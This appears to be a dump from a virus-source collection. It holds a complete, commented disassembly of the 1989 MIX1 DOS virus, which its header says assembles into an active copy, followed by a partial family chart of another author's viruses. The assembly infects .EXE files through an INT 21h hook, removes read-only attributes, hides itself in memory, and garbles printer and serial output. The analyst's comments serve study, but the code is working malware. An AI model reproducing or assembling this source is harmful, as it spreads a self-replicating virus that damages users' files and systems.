||||
LEN_HI DW ?
|
||||
NOINF DW 0 ; Number of infections
|
||||
ID ABRAX WORD
|
||||
DB "MIX1" ; The signature of the virus.
|
||||
;
|
||||
; A buffer, used for data from the file.
|
||||
;
|
||||
|
||||
VIRUS ENDP
|
||||
CODE ENDS
|
||||
|
||||
END ABRAX
|
||||
@@ -0,0 +1,856 @@
|
||||
; THE MIX1 virus
|
||||
;
|
||||
; It was first detected in Israel in August '89.
|
||||
;
|
||||
; Disassembly done Sept. 24-25 '89.
|
||||
;
|
||||
; The author of this program is unknown, but it is clearly a
|
||||
; modification of the "Icelandic" virus, with considerable
|
||||
; additions
|
||||
;
|
||||
; All comments in this file were added by Fridrik Skulason,
|
||||
; University of Iceland/Computing Services.
|
||||
;
|
||||
; INTERNET: frisk@rhi.hi.is
|
||||
; UUCP: ...mcvax!hafro!rhi!frisk
|
||||
; BIX: FRISK
|
||||
;
|
||||
; To anyone who obtains this file - please be careful with it, I
|
||||
; would not like to see this virus be distributed too much.
|
||||
;
|
||||
; A short description of the virus:
|
||||
;
|
||||
; It only infects .EXE files. Infected files grow by ... to ... bytes.
|
||||
; The virus attaches itself to the end of the programs it infects.
|
||||
;
|
||||
; When an infected file is run, the virus copies itself to top of
|
||||
; free memory, and modifies the memory blocks, in order to hide from
|
||||
; memory mapping programs. Some programs may overwrite this area,
|
||||
; causing the computer to crash.
|
||||
;
|
||||
; The virus will hook INT 21H and when function 4B (EXEC) is called
|
||||
; it sometimes will infect the program being run. It will check every
|
||||
; tenth program that is run for infection, and if it is not already
|
||||
; infected, it will be.
|
||||
;
|
||||
; The virus will remove the Read-Only attribute before trying to
|
||||
; infect programs.
|
||||
;
|
||||
; Infected files can be easily recognized, since they always end in
|
||||
; "MIX1"
|
||||
;
|
||||
; To check for system infection, a byte at 0:33C is used - if it
|
||||
; contains 77 the virus is installed in memory.
|
||||
;
|
||||
;
|
||||
VIRSIZ EQU 128
|
||||
|
||||
;
|
||||
; This is the original program, just used so this file, when
|
||||
; assembled, will produce an active copy.
|
||||
;
|
||||
_TEXT1 SEGMENT PARA PUBLIC
|
||||
_START DB 0b4H,09H
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV DX,OFFSET STRING
|
||||
INT 21H
|
||||
MOV AX,4C00H
|
||||
INT 21H
|
||||
STRING DB "Hello world!",0dh,0ah,"$"
|
||||
_TEXT1 ENDS
|
||||
|
||||
CODE SEGMENT PARA PUBLIC 'CODE'
|
||||
ASSUME CS:CODE,DS:NOTHING,SS:NOTHING,ES:NOTHING
|
||||
|
||||
;
|
||||
; The virus is basically divided in the following parts.
|
||||
;
|
||||
; 1. The main program - run when an infected program is run.
|
||||
; It will check if the system is already infected, and if not
|
||||
; it will install the virus.
|
||||
;
|
||||
; 2. The new INT 17 handler. All outgoing characters will be garbled.
|
||||
;
|
||||
; 3. The new INT 14 handler. All outgoing characters will be garbled.
|
||||
;
|
||||
; 4. The new INT 8 handler.
|
||||
;
|
||||
; 5. The new INT 9 handler. Disables the Num-Lock key
|
||||
;
|
||||
; 6. The new INT 21 handler. It will look for EXEC calls, and
|
||||
; (sometimes) infect the program being run.
|
||||
;
|
||||
; Parts 1 and 6 are almost identical to the Icelandic-1 version
|
||||
;
|
||||
; This is a fake MCB
|
||||
;
|
||||
DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
|
||||
|
||||
VIRUS PROC FAR
|
||||
;
|
||||
; The virus starts by pushing the original start address on the stack,
|
||||
; so it can transfer control there when finished.
|
||||
;
|
||||
ABRAX: DEC SP ; This used to be SUB SP,4
|
||||
DEC SP
|
||||
NOP
|
||||
DEC SP
|
||||
DEC SP
|
||||
PUSH BP
|
||||
MOV BP,SP
|
||||
NOP ; added
|
||||
PUSH AX
|
||||
NOP ; added
|
||||
MOV AX,ES
|
||||
;
|
||||
; Put the the original CS on the stack. The ADD AX,data instruction
|
||||
; is modified by the virus when it infects other programs.
|
||||
;
|
||||
DB 05H
|
||||
ORG_CS DW 0010H
|
||||
MOV [BP+4],AX
|
||||
;
|
||||
; Put the the original IP on the stack. This MOV [BP+2],data instruction
|
||||
; is modified by the virus when it infects other programs.
|
||||
;
|
||||
DB 0C7H,46H,02H
|
||||
ORG_IP DW 0000H
|
||||
;
|
||||
; Save all registers that are modified.
|
||||
;
|
||||
PUSH ES
|
||||
PUSH DS
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
;
|
||||
; Check if already installed. Quit if so.
|
||||
;
|
||||
MOV AX,0 ; Was: XOR AX,AX
|
||||
MOV ES,AX
|
||||
CMP ES:[33CH],BYTE PTR 077H
|
||||
JNE L1
|
||||
;
|
||||
; Restore all registers and return to the original program.
|
||||
;
|
||||
EXIT: POP DI
|
||||
POP SI
|
||||
POP CX
|
||||
POP BX
|
||||
POP DS
|
||||
POP ES
|
||||
POP AX
|
||||
POP BP
|
||||
RET
|
||||
;
|
||||
; The virus tries to hide from detection by modifying the memory block it
|
||||
; uses, so it seems to be a block that belongs to the operating system.
|
||||
;
|
||||
; It looks rather weird, but it seems to work.
|
||||
;
|
||||
L1: MOV AH,52H
|
||||
INT 21H
|
||||
MOV AX,ES:[BX-2]
|
||||
MOV ES,AX
|
||||
PUSH ES ; Two totally unnecessary instructions
|
||||
POP AX ; added
|
||||
ADD AX,ES:[0003]
|
||||
INC AX
|
||||
INC AX
|
||||
MOV CS:[0001],AX
|
||||
;
|
||||
; Next, the virus modifies the memory block of the infected program.
|
||||
; It is made smaller, and no longer the last block.
|
||||
;
|
||||
MOV BX,DS
|
||||
DEC BX
|
||||
PUSH BX ; Unnecessary addition
|
||||
POP AX
|
||||
MOV DS,BX
|
||||
MOV AL,'M'
|
||||
MOV DS:[0000],AL
|
||||
MOV AX,DS:[0003]
|
||||
SUB AX,VIRSIZ
|
||||
MOV DS:[0003],AX
|
||||
ADD BX,AX
|
||||
INC BX
|
||||
;
|
||||
; Then the virus moves itself to the new block.
|
||||
;
|
||||
PUSH BX ; Was: MOV ES,BX
|
||||
POP ES
|
||||
MOV SI,0 ; Was: XOR SI,SI XOR DI,DI
|
||||
MOV DI,SI
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV CX,652H
|
||||
CLD
|
||||
REP MOVSB
|
||||
;
|
||||
; The virus then transfers control to the new copy of itself.
|
||||
;
|
||||
PUSH ES
|
||||
MOV AX,OFFSET L3
|
||||
PUSH AX
|
||||
RET
|
||||
;
|
||||
; Zero some variables
|
||||
;
|
||||
L3: MOV BYTE PTR CS:[MIN60],0
|
||||
NOP
|
||||
MOV BYTE PTR CS:[MIN50],0
|
||||
NOP
|
||||
MOV WORD PTR CS:[TIMER],0
|
||||
;
|
||||
; The most nutty way to zero ES register that I have ever seen:
|
||||
;
|
||||
MOV BX,0FFFFH
|
||||
ADD BX,3F3FH
|
||||
MOV CL,0AH
|
||||
SHL BX,CL
|
||||
AND BX,CS:[CONST0]
|
||||
MOV AX,BX
|
||||
MOV ES,AX
|
||||
;
|
||||
; Set flag to confirm installation
|
||||
;
|
||||
MOV BYTE PTR ES:[33CH],77H
|
||||
;
|
||||
; Hook interrupt 21:
|
||||
;
|
||||
MOV AX,ES:[0084H]
|
||||
MOV CS:[OLD21],AX
|
||||
MOV AX,ES:[0086H]
|
||||
MOV CS:[OLD21+2],AX
|
||||
MOV AX,CS
|
||||
MOV ES:[0086H],AX
|
||||
MOV AX,OFFSET NEW21
|
||||
MOV ES:[0084H],AX
|
||||
;
|
||||
; Hook interrupt 17:
|
||||
;
|
||||
MOV AX,ES:[005CH]
|
||||
MOV CS:[OLD17],AX
|
||||
MOV AX,ES:[005EH]
|
||||
MOV CS:[OLD17+2],AX
|
||||
MOV AX,CS
|
||||
MOV ES:[005EH],AX
|
||||
MOV AX,OFFSET NEW17
|
||||
MOV ES:[005CH],AX
|
||||
;
|
||||
; Hook interrupt 14:
|
||||
;
|
||||
MOV AX,ES:[0050H]
|
||||
MOV CS:[OLD17],AX
|
||||
MOV AX,ES:[0052H]
|
||||
MOV CS:[OLD14+2],AX
|
||||
MOV AX,CS
|
||||
MOV ES:[0052H],AX
|
||||
MOV AX,OFFSET NEW14
|
||||
MOV ES:[0050H],AX
|
||||
;
|
||||
;
|
||||
;
|
||||
CMP WORD PTR CS:[NOINF],5
|
||||
JG HOOK9
|
||||
JMP EXIT
|
||||
;
|
||||
; Hook interrupt 9
|
||||
;
|
||||
HOOK9: MOV AX,ES:[0024H]
|
||||
MOV CS:[OLD9],AX
|
||||
MOV AX,ES:[0026H]
|
||||
MOV CS:[OLD9+2],AX
|
||||
MOV AX,CS
|
||||
MOV ES:[0026H],AX
|
||||
MOV AX,OFFSET NEW9
|
||||
MOV ES:[0024H],AX
|
||||
;
|
||||
; Hook interrupt 8
|
||||
;
|
||||
MOV AX,ES:[0020H]
|
||||
MOV CS:[OLD8],AX
|
||||
MOV AX,ES:[0022H]
|
||||
MOV CS:[OLD8+2],AX
|
||||
MOV AX,CS
|
||||
MOV ES:[0022H],AX
|
||||
MOV AX,OFFSET NEW8
|
||||
MOV ES:[0020H],AX
|
||||
JMP EXIT
|
||||
;
|
||||
; Video processing
|
||||
;
|
||||
ID: PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DI
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV AH,0FH
|
||||
INT 10H
|
||||
MOV AH,6
|
||||
MUL AH
|
||||
MOV BX,AX
|
||||
MOV AX,DS:[BX+OFFSET VIDEOT]
|
||||
MOV CX,DS:[BX+OFFSET VIDEOT+2]
|
||||
MOV DX,DS:[BX+OFFSET VIDEOT+4]
|
||||
MOV ES,DX
|
||||
SHR CX,1
|
||||
MOV DI,1
|
||||
CMP AX,0
|
||||
JNZ V1
|
||||
V0: INC WORD PTR ES:[DI]
|
||||
INC DI
|
||||
INC DI
|
||||
LOOP V0
|
||||
JMP SHORT V2
|
||||
NOP
|
||||
V1: NOT WORD PTR ES:[DI]
|
||||
INC DI
|
||||
INC DI
|
||||
LOOP V1
|
||||
V2: POP ES
|
||||
POP DS
|
||||
POP DI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
RET
|
||||
;
|
||||
; INT 9 replacement: Just fiddle around with the NUM-LOCK etc.
|
||||
; This routine does not become active until 50 minutes after
|
||||
; the execution of an infected program.
|
||||
;
|
||||
NEW9: PUSH AX
|
||||
PUSH ES
|
||||
CMP BYTE PTR CS:[MIN50],1
|
||||
JNZ RETX1
|
||||
XOR AX,AX
|
||||
MOV ES,AX ; was xxxxxxxx
|
||||
AND BYTE PTR ES:[417H],0BFH ; x0xxxxxx
|
||||
OR BYTE PTR ES:[417H],20H ; x01xxxxx
|
||||
TEST BYTE PTR ES:[417H],0CH
|
||||
JZ RETX1
|
||||
IN AL,60
|
||||
CMP AL,53
|
||||
JNZ RETX1
|
||||
AND BYTE PTR ES:[417H],0F7H
|
||||
;
|
||||
; This seems to be an error - the virus uses a FAR call, which will
|
||||
; probably cause the computer to crash.
|
||||
;
|
||||
DB 9AH
|
||||
DW OFFSET ID,171CH
|
||||
;
|
||||
; This needs more checking.
|
||||
;
|
||||
|
||||
RETX1: POP ES
|
||||
POP AX
|
||||
DB 0EAH
|
||||
OLD9 DW 0,0
|
||||
;
|
||||
; New INT 14 routine - garble all outgoing characters
|
||||
;
|
||||
NEW14: CMP AH,1
|
||||
JZ S1
|
||||
DO14: DB 0EAH
|
||||
OLD14 DW 0,0
|
||||
S1: PUSH BX
|
||||
XOR BX,BX
|
||||
MOV BL,AL
|
||||
ADD BX,OFFSET ERRTAB
|
||||
MOV AL,CS:[BX] ; use old character as index into table
|
||||
POP BX
|
||||
JMP DO14
|
||||
;
|
||||
; New INT 8 routine
|
||||
;
|
||||
NEW8: PUSH DX
|
||||
PUSH CX
|
||||
PUSH BX
|
||||
PUSH AX
|
||||
CMP BYTE PTR CS:[MIN60],01 ; If counter >= 60 min.
|
||||
JZ TT0 ; No need to check any more
|
||||
INC WORD PTR CS:[TIMER] ; else increment timer
|
||||
CMP WORD PTR CS:[TIMER],-10 ; 60 minutes ?
|
||||
JZ TT1
|
||||
CMP WORD PTR CS:[TIMER],54600 ; 50 minutes ?
|
||||
JZ TT2
|
||||
JMP TXEX
|
||||
;
|
||||
; 50 minutes after an infected program is run the flag is set.
|
||||
;
|
||||
TT2: MOV BYTE PTR CS:[MIN50],1
|
||||
NOP
|
||||
JMP TXEX
|
||||
;
|
||||
; 60 minutes after an infected program is run we start the ball bouncing.
|
||||
;
|
||||
TT1: MOV BYTE PTR CS:[MIN60],1
|
||||
;
|
||||
; Get current cursor position and save it
|
||||
;
|
||||
MOV AH,3
|
||||
MOV BH,0
|
||||
INT 10H
|
||||
MOV CS:[SCRLINE],DH
|
||||
MOV CS:[SCRCOL],DL
|
||||
;
|
||||
; Set cursor position
|
||||
;
|
||||
MOV AH,2
|
||||
MOV BH,0
|
||||
MOV DH,CS:[MYLINE]
|
||||
MOV DL,CS:[MYCOL]
|
||||
INT 10H
|
||||
;
|
||||
; Check what is there and store it
|
||||
;
|
||||
MOV AH,8
|
||||
MOV BH,0
|
||||
INT 10H
|
||||
MOV CS:[ONSCREEN],AL
|
||||
;
|
||||
; Set cursor position back as it was before
|
||||
;
|
||||
MOV AH,2
|
||||
MOV BH,0
|
||||
MOV DH,CS:[SCRLINE]
|
||||
MOV DL,CS:[SCRCOL]
|
||||
INT 10H
|
||||
;
|
||||
; Get current video mode and store it
|
||||
;
|
||||
MOV AH,0FH
|
||||
INT 10H
|
||||
MOV CS:[VMODE],AH
|
||||
;
|
||||
; Exit interrupt routine
|
||||
;
|
||||
JMP TXEX
|
||||
;
|
||||
; Every time an INT 8 occurs, after the 60 min. have passed, we
|
||||
; end up here:
|
||||
;
|
||||
; First get current cursor position
|
||||
;
|
||||
TT0: MOV AH,3
|
||||
MOV BH,0
|
||||
INT 10H
|
||||
MOV CS:[SCRLINE],DH
|
||||
MOV CS:[SCRCOL],DL
|
||||
;
|
||||
; Then set it to last position of ball.
|
||||
;
|
||||
MOV AH,2
|
||||
MOV BH,0
|
||||
MOV DH,CS:[MYLINE]
|
||||
MOV DL,CS:[MYCOL]
|
||||
INT 10H
|
||||
;
|
||||
; Write previous character there ...
|
||||
;
|
||||
MOV AH,0EH
|
||||
MOV AL,CS:[ONSCREEN]
|
||||
MOV BX,0
|
||||
INT 10H
|
||||
;
|
||||
;
|
||||
CMP BYTE PTR CS:[UPDOWN],0
|
||||
JZ T2
|
||||
;
|
||||
;
|
||||
DEC BYTE PTR CS:[MYLINE]
|
||||
JMP SHORT T3
|
||||
NOP
|
||||
T2: INC BYTE PTR CS:[MYLINE]
|
||||
T3: CMP BYTE PTR CS:[LEFTRIGHT],0
|
||||
JZ T4
|
||||
DEC BYTE PTR CS:[MYCOL]
|
||||
JMP SHORT T5
|
||||
NOP
|
||||
T4: INC BYTE PTR CS:[MYCOL]
|
||||
;
|
||||
; Get current video mode
|
||||
;
|
||||
T5: MOV AH,0FH
|
||||
INT 10H
|
||||
MOV CS:[VMODE],AH
|
||||
MOV AL,CS:[MAXLIN]
|
||||
CMP CS:[MYLINE],AL ; bottom of screen ?
|
||||
JNZ T6
|
||||
;
|
||||
; Reached bottom - now go upwards.
|
||||
;
|
||||
NOT BYTE PTR CS:[UPDOWN]
|
||||
T6: CMP BYTE PTR CS:[MYLINE],0 ; reached the top ?
|
||||
JNZ T7
|
||||
;
|
||||
; Reached top - now go downwards
|
||||
;
|
||||
NOT BYTE PTR CS:[UPDOWN]
|
||||
T7: MOV AL,CS:[VMODE]
|
||||
CMP CS:[MYCOL],AL
|
||||
JNZ T8
|
||||
NOT BYTE PTR CS:[LEFTRIGHT]
|
||||
T8: CMP BYTE PTR CS:[MYCOL],0
|
||||
JNZ T9
|
||||
NOT BYTE PTR CS:[LEFTRIGHT]
|
||||
;
|
||||
; Set cursor position to new position of ball
|
||||
;
|
||||
T9: MOV AH,02
|
||||
MOV BH,0
|
||||
MOV DH,CS:[MYLINE]
|
||||
MOV DL,CS:[MYCOL]
|
||||
INT 10H
|
||||
;
|
||||
; Get what is there and store it.
|
||||
;
|
||||
MOV AH,8
|
||||
MOV BH,0
|
||||
INT 10H
|
||||
MOV CS:[ONSCREEN],AL
|
||||
;
|
||||
; Write character (lower case o)
|
||||
;
|
||||
MOV AH,0EH
|
||||
MOV AL,6FH
|
||||
MOV BX,0
|
||||
INT 10H
|
||||
;
|
||||
; And restore cursor position
|
||||
;
|
||||
MOV AH,02
|
||||
MOV BH,0
|
||||
MOV DH,CS:[SCRLINE]
|
||||
MOV DL,CS:[SCRCOL]
|
||||
INT 10H
|
||||
;
|
||||
; Restore registers and quit
|
||||
;
|
||||
TXEX: POP AX
|
||||
POP BX
|
||||
POP CX
|
||||
POP DX
|
||||
DB 0EAH
|
||||
OLD8 DW 0,0
|
||||
;
|
||||
; New INT 17 routine. Garble all outgoing characters.
|
||||
;
|
||||
NEW17: CMP AH,0
|
||||
JZ P0
|
||||
DO17: DB 0EAH
|
||||
OLD17 DW 0,0
|
||||
P0: PUSH BX
|
||||
XOR BX,BX
|
||||
MOV BL,AL
|
||||
ADD BX,OFFSET ERRTAB
|
||||
MOV AL,CS:[BX]
|
||||
POP BX
|
||||
JMP DO17
|
||||
;
|
||||
; This is the INT 21 replacement. It only does something in the case
|
||||
; of an EXEC call.
|
||||
;
|
||||
NEW21: CMP AH,4BH
|
||||
JE L5
|
||||
DO21: DB 0EAH
|
||||
OLD21 DW 0,0
|
||||
;
|
||||
; The code to only infect every tenth program has been removed
|
||||
;
|
||||
L5: PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH SI
|
||||
PUSH DS
|
||||
;
|
||||
; Search for the file name extension ...
|
||||
;
|
||||
MOV BX,DX
|
||||
L6: INC BX
|
||||
CMP BYTE PTR [BX],'.'
|
||||
JE L8
|
||||
CMP BYTE PTR [BX],0
|
||||
JNE L6
|
||||
;
|
||||
; ... and quit unless it starts with "EX".
|
||||
;
|
||||
L7: POP DS
|
||||
POP SI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
JMP DO21
|
||||
L8: INC BX
|
||||
CMP WORD PTR [BX],5845H
|
||||
JNE L7
|
||||
;
|
||||
; When an .EXE file is found, the virus starts by turning off
|
||||
; the read-only attribute. The read-only attribute is not restored
|
||||
; when the file has been infected.
|
||||
;
|
||||
MOV AX,4300H ; Get attribute
|
||||
INT 21H
|
||||
JC L7
|
||||
MOV AX,4301H ; Set attribute
|
||||
AND CX,0FEH
|
||||
INT 21H
|
||||
JC L7
|
||||
;
|
||||
; Next, the file is examined to see if it is already infected.
|
||||
; The signature (4418 5F19) is stored in the last two words.
|
||||
;
|
||||
MOV AX,3D02H ; Open / write access
|
||||
INT 21H
|
||||
JC L7
|
||||
MOV BX,AX ; file handle in BX
|
||||
;
|
||||
; This part of the code is new: Get date of file.
|
||||
;
|
||||
MOV AX,5700H
|
||||
INT 21H
|
||||
JC L9
|
||||
MOV CS:[DATE1],DX
|
||||
MOV CS:[DATE2],CX
|
||||
;
|
||||
PUSH CS ; now DS is no longer needed
|
||||
POP DS
|
||||
;
|
||||
; The header of the file is read in at [ID+8]. The virus then
|
||||
; modifies itself, according to the information stored in the
|
||||
; header. (The original CS and IP addressed are stored).
|
||||
;
|
||||
MOV DX,OFFSET ID+8
|
||||
MOV CX,1CH
|
||||
MOV AH,3FH
|
||||
INT 21H
|
||||
JC L9
|
||||
MOV AX,DS:ID[1CH]
|
||||
MOV DS:[ORG_IP],AX
|
||||
MOV AX,DS:ID[1EH]
|
||||
ADD AX,10H
|
||||
MOV DS:[ORG_CS],AX
|
||||
;
|
||||
; Next the read/write pointer is moved to the end of the file-4,
|
||||
; and the last 4 bytes read. They are compared to the signature,
|
||||
; and if equal nothing happens.
|
||||
;
|
||||
MOV AX,4202H
|
||||
MOV CX,-1
|
||||
MOV DX,-4
|
||||
INT 21H
|
||||
JC L9
|
||||
ADD AX,4
|
||||
MOV DS:[LEN_LO],AX
|
||||
JNC L8A
|
||||
INC DX
|
||||
L8A: MOV DS:[LEN_HI],DX
|
||||
;
|
||||
; This part of the virus is new - check if it is below minimum length
|
||||
;
|
||||
CMP DX,0
|
||||
JNE L8B
|
||||
MOV CL,13
|
||||
SHR AX,CL
|
||||
CMP AX,0
|
||||
JG L8B
|
||||
JMP SHORT L9
|
||||
NOP
|
||||
L8B: MOV AH,3FH
|
||||
MOV CX,4
|
||||
MOV DX,OFFSET ID+4
|
||||
INT 21H
|
||||
JNC L11
|
||||
L9: MOV AH,3EH
|
||||
INT 21H
|
||||
L10: JMP L7
|
||||
;
|
||||
; Compare to 4418,5F19
|
||||
;
|
||||
L11: MOV SI,OFFSET ID+4
|
||||
MOV AX,[SI]
|
||||
CMP AX,494DH
|
||||
JNE L12
|
||||
MOV AX,[SI+2]
|
||||
CMP AX,3158H
|
||||
JE L9
|
||||
;
|
||||
; The file is not infected, so the next thing the virus does is
|
||||
; infecting it. First it is padded so the length becomes a multiple
|
||||
; of 16 bytes. Tis is probably done so the virus code can start at a
|
||||
; paragraph boundary.
|
||||
;
|
||||
L12: MOV AX,DS:[LEN_LO]
|
||||
AND AX,0FH
|
||||
JZ L13
|
||||
MOV CX,16
|
||||
SUB CX,AX
|
||||
ADD DS:[LEN_LO],CX
|
||||
JNC L12A
|
||||
INC DS:[LEN_HI]
|
||||
L12A: MOV AH,40H
|
||||
INT 21H
|
||||
JC L9
|
||||
;
|
||||
; Next the main body of the virus is written to the end.
|
||||
;
|
||||
L13: MOV DX,0 ; Was: XOR DX,DX
|
||||
MOV CX,OFFSET ID + 4
|
||||
MOV AH,40H
|
||||
INT 21H
|
||||
JC L9
|
||||
;
|
||||
; Next the .EXE file header is modified:
|
||||
;
|
||||
JMP SHORT F0 ; some unnecessary instructions
|
||||
NOP
|
||||
; First modify initial IP
|
||||
;
|
||||
F0: MOV AX,OFFSET LABEL
|
||||
MOV DS:ID[1CH],AX
|
||||
;
|
||||
; Modify starting CS = Virus CS. It is computed as:
|
||||
;
|
||||
; (Original length of file+padding)/16 - Start of load module
|
||||
;
|
||||
MOV DX,DS:[LEN_HI]
|
||||
MOV AX,DS:[LEN_LO]
|
||||
MOV CL,CS:[CONST1] ; Modified a bit
|
||||
SHR DX,CL
|
||||
RCR AX,CL
|
||||
SHR DX,CL
|
||||
RCR AX,CL
|
||||
SHR DX,CL
|
||||
RCR AX,CL
|
||||
SHR DX,CL
|
||||
RCR AX,CL
|
||||
SUB AX,DS:ID[10H]
|
||||
MOV DS:ID[1EH],AX
|
||||
;
|
||||
; Modify length mod 512
|
||||
;
|
||||
ADD DS:[LEN_LO],OFFSET ID+4
|
||||
JNC L14
|
||||
INC DS:[LEN_HI]
|
||||
L14: MOV AX,DS:[LEN_LO]
|
||||
AND AX,511
|
||||
MOV DS:ID[0AH],AX
|
||||
;
|
||||
; Modify number of blocks used
|
||||
;
|
||||
MOV DX,DS:[LEN_HI]
|
||||
MOV AX,DS:[LEN_LO]
|
||||
ADD AX,511
|
||||
JNC L14A
|
||||
INC DX
|
||||
L14A: MOV AL,AH
|
||||
MOV AH,DL
|
||||
SHR AX,1
|
||||
MOV DS:ID[0CH],AX
|
||||
;
|
||||
; Finally the modified header is written back to the start of the
|
||||
; file.
|
||||
;
|
||||
QQQ: MOV AX,4200H
|
||||
MOV CX,0 ; was XOR CX,CX
|
||||
AND DX,CS:[CONST0] ; was XOR DX,DX
|
||||
INT 21H
|
||||
JC ENDIT
|
||||
MOV AH,40H
|
||||
MOV DX,OFFSET ID+8
|
||||
MOV CX,1CH
|
||||
INT 21H
|
||||
;
|
||||
; This part is new: Restore old date.
|
||||
;
|
||||
MOV DX,CS:[DATE1]
|
||||
MOV CX,CS:[DATE2]
|
||||
MOV AX,5701H
|
||||
INT 21H
|
||||
JC ENDIT
|
||||
INC WORD PTR CS:[NOINF]
|
||||
;
|
||||
; Infection is finished - close the file and execute it
|
||||
;
|
||||
ENDIT: JMP L9
|
||||
;
|
||||
;
|
||||
DW 0
|
||||
|
||||
VIDEOT: DW 0000H, 07D0H, 0B800H
|
||||
DW 0000H, 07D0H, 0B800H
|
||||
DW 0000H, 0FA0H, 0B800H
|
||||
DW 0000H, 0FA0H, 0B800H
|
||||
DW 0001H, 4000H, 0B800H
|
||||
DW 0001H, 4000H, 0B800H
|
||||
DW 0001H, 4000H, 0B800H
|
||||
DW 0000H, 0FA0H, 0B000H
|
||||
DW 0001H, 3E80H, 0B000H
|
||||
DW 0001H, 7D00H, 0B000H
|
||||
DW 0001H, 7D00H, 0B000H
|
||||
DW 0002H, 0000H, 0000H
|
||||
DW 0002H, 0000H, 0000H
|
||||
DW 0001H, 7D00H, 0A000H
|
||||
DW 0001H, 0FA00H, 0A000H
|
||||
DW 0001H, 6D60H, 0A000H
|
||||
DW 0002H, 0000H. 0000H
|
||||
|
||||
DW 0
|
||||
|
||||
ERRTAB DB 00H,01H,02H,03H,04H,05H,06H,07H,08H,09H,0BH,0AH,0CH,0DH,0EH,0FH
|
||||
DB 10H,11H,12H,13H,14H,15H,16H,17H,18H,19H,1BH,1AH,1CH,1DH,1FH,1EH
|
||||
DB 20H,21H,22H,23H,24H,25H,26H,27H,29H,28H,2AH,2DH,2CH,2BH,2EH,2FH
|
||||
DB 30H,31H,32H,33H,34H,35H,36H,37H,38H,39H,3AH,3BH,3EH,3DH,3CH,3FH
|
||||
DB 40H,42H,45H,43H,44H,41H,50H,47H,48H,59H,4AH,4BH,4CH,4DH,4EH,55H
|
||||
DB 46H,51H,52H,53H,54H,4FH,56H,57H,58H,49H,5AH,5DH,5CH,5BH,5EH,5FH
|
||||
DB 60H,65H,62H,73H,64H,61H,70H,67H,68H,65H,6AH,6BH,6CH,6DH,6EH,75H
|
||||
DB 66H,71H,72H,63H,74H,6FH,76H,77H,78H,79H,7AH,7DH,7CH,7BH,7EH,7FH
|
||||
DB 92H,81H,82H,83H,84H,85H,86H,8BH,9AH,89H,8AH,87H,8CH,8DH,8EH,8FH
|
||||
DB 90H,99H,80H,93H,94H,95H,96H,97H,98H,91H,88H,9BH,9CH,9DH,9EH,9FH
|
||||
DB 0A0H,0A1H,0A2H,0A3H,0A4H,0A5H,0A6H,0A7H,0A8H,0A9H,0BBH,0ABH,0ACH
|
||||
DB 0B0H,0B1H,0B2H,0B3H,0B4H,0B5H,0B6H,0B7H,0B8H,0B9H,0BAH,0AAH,0D9H
|
||||
DB 0C8H,0C1H,0C2H,0C3H,0C4H,0C5H,0C6H,0C7H,0C0H,0A9H,0CAH,0CBH,0CCH
|
||||
DB 0D0H,0D1H,0D2H,0D3H,0D4H,0D5H,0D6H,0D7H,0D8H,0BCH,0DAH,0DBH,0DCH
|
||||
DB 0E0H,0E1H,0E2H,0E3H,0E4H,0E5H,0E6H,0E7H,0E8H,0E9H,0EAH,0EBH,0ECH
|
||||
DB 0F0H,0F1H,0F2H,0F3H,0F4H,0F5H,0F6H,0F7H,0F8H,0F9H,0FAH,0FBH,0FCH
|
||||
|
||||
CONST1 DB 1 ; Just the constant 1
|
||||
CONST0 DW 0 ; The label says it all
|
||||
MIN60 DB 0 ; Flag, set to 1 60 minutes after execution
|
||||
MIN50 DB 0 ; Flag, set to 1 50 minutes after execution
|
||||
VMODE DB 0 ; Video mode
|
||||
MAXLIN DB 24
|
||||
MYCOL DB 0 ; Position of ball on screen
|
||||
MYLINE DB 0 ; ditto.
|
||||
ONSCREEN DB ? ; Previous character on the screen
|
||||
UPDOWN DB 0 ; Direction of ball (up or down)
|
||||
LEFTRIGHT DB 0 ; Direction (left or right)
|
||||
SCRCOL DB ?
|
||||
SCRLINE DB ?
|
||||
DATE1 DW ? ; Date of file
|
||||
DATE2 DW ? ; ditto.
|
||||
TIMER DW 0 ; Number of timer (INT 8) ticks
|
||||
LEN_LO DW ?
|
||||
LEN_HI DW ?
|
||||
NOINF DW 0 ; Number of infections
|
||||
ID ABRAX WORD
|
||||
DB "MIX1" ; The signature of the virus.
|
||||
;
|
||||
; A buffer, used for data from the file.
|
||||
;
|
||||
|
||||
VIRUS ENDP
|
||||
CODE ENDS
|
||||
|
||||
END ABRAX
|
||||
@@ -0,0 +1,72 @@
|
||||
|
||||
Virus relationship charts of Masud Khafir's viruses
|
||||
===================================================
|
||||
|
||||
|
||||
|
||||
Gotcha F (732)
|
||||
ÃÄÄ Gotcha E (607)
|
||||
ÀÄÄ Gotcha A (879)
|
||||
ÀÄÄ Gotcha B (881)
|
||||
ÀÄÄ Gotcha C (906)
|
||||
ÀÄÄ Gotcha D (627)
|
||||
ÃÄÄ Pogue
|
||||
ÀÄÄ Legalize
|
||||
ÀÄÄ Coffeeshop 1
|
||||
ÃÄÄ Coffeeshop 2
|
||||
ÀÄÄ Coffeeshop 3 (Girafe A)
|
||||
ÀÄÄ Coffeeshop 4 (Girafe B)
|
||||
ÃÄÄ Cruncher 1.0
|
||||
³ ÀÄÄ Cruncher 2.0
|
||||
³ ÀÄÄ Cruncher 2.1
|
||||
ÃÄÄ PlayGame
|
||||
ÀÄÄ Bosnia
|
||||
|
||||
|
||||
Seventh son 350
|
||||
ÀÄÄÄÄ Seventh son 332
|
||||
ÀÄÄÄÄ Seventh son 284
|
||||
ÀÄÄÄÄ DOS-1
|
||||
|
||||
|
||||
Little Brother 299
|
||||
ÃÄÄÄÄ Little Brother 307
|
||||
³ ÃÄÄÄÄ Little Brother 321
|
||||
³ ÀÄÄÄÄ Little Brother 349 (Vote) (*)
|
||||
